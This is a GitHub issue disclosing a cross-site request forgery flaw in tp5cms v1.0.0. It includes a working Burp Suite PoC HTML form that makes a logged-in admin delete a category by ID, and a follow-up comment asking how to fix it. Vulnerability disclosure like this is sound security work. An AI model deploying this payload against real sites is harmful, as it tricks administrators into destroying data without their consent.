Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

tp5cms v1.0.0 has Cross-site request forgery #3

Open
SunJ3t opened this issue Aug 10, 2018 · 1 comment
Open

tp5cms v1.0.0 has Cross-site request forgery #3

SunJ3t opened this issue Aug 10, 2018 · 1 comment

Comments

@SunJ3t
Copy link

SunJ3t commented Aug 10, 2018

I can delete category via catid when admin click the csrf html file.

CSRF HTML:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.2.129/tp5cms/admin.php/category/delete.html">
      <input type="hidden" name="catid" value="4" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

tp5cms2

@Ericwtl
Copy link

Ericwtl commented Dec 27, 2018

How to fix this issue?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants